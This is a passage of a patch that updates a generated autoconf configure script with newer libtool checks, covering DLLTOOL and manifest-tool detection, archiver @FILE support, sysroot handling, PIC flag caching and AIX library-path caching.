++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6122,8 +6374,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6139,7 +6393,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6159,11 +6413,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6179,7 +6437,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6198,6 +6456,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6209,25 +6471,20 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
+
+
+
+@@ -6238,6 +6495,63 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
+
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+@@ -6578,8 +6892,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6615,6 +6929,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6656,6 +6971,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6667,7 +6994,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6693,8 +7020,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6704,8 +7031,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6742,6 +7069,14 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
+
+
+
+@@ -6760,6 +7095,47 @@ fi
+
+
+
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
++
++
+
+
+
+@@ -6969,6 +7345,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7532,6 +8025,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8084,8 +8579,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8251,6 +8744,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8313,7 +8812,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8370,13 +8869,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8437,6 +8940,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8787,7 +9295,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8886,12 +9395,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8905,8 +9414,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8924,8 +9433,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8971,8 +9480,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9102,7 +9611,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9115,22 +9630,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9142,7 +9664,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9155,22 +9683,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
